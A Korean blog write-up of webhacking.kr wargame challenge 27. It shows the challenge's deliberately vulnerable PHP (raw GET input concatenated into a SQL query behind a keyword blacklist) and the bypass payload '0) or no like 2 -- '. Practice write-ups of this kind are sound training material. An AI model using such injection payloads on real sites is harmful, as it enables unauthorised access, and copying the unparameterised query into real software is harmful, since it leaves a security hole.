본문 바로가기
웹 해킹/webhacking.kr

webhacking.kr 27번-SQL INJECTION

by sonysame 2018. 2. 9.

소스코드는 다음과 같다.

<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<!-- index.phps -->
</body>
</html>

index.phps가 주석처리 되어 있으므로!

index.phps를 확인하면 다음과 같다.


<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?
if($_GET[no])
{

if(
eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");

$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");

if(
$q[id]=="guest") echo("guest");
if(
$q[id]=="admin") @solve();

}

?>
<!-- index.phps -->
</body>
</html>


문제는 no=($_GET[no])로 괄호가 있다는 것이다

1을 입력했을때 echo("guest")가 실행되었다.

guest의 no는 1이라는 것이고,

admin의 no는 0 또는 2임을 유추할 수 있다.

0) or no=2

로 하면 admin이 될 것 같지만

=을 필터링 해놓았다.

따라서 = 이 아닌 like를 사용하자

0) or no like 2

"select id from challenge27_table where id='guest' and no=(0) or no like 2)"

문제는 그 뒤에 나오는 )이다. 따라서 이를 주석처리 해버리기 위해 -- 를 붙여주면 끝!


0) or no like 2 -- 

*주석은 --과 공백



'웹 해킹 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 32번-파이썬 스크립트  (0) 2018.02.10
webhacking.kr 31번-포트포워딩  (0) 2018.02.09
webhacking.kr 25번  (0) 2018.02.09
webhacking.kr 19번-문제 오류  (0) 2018.02.09
webhacking.kr 54번  (0) 2018.02.09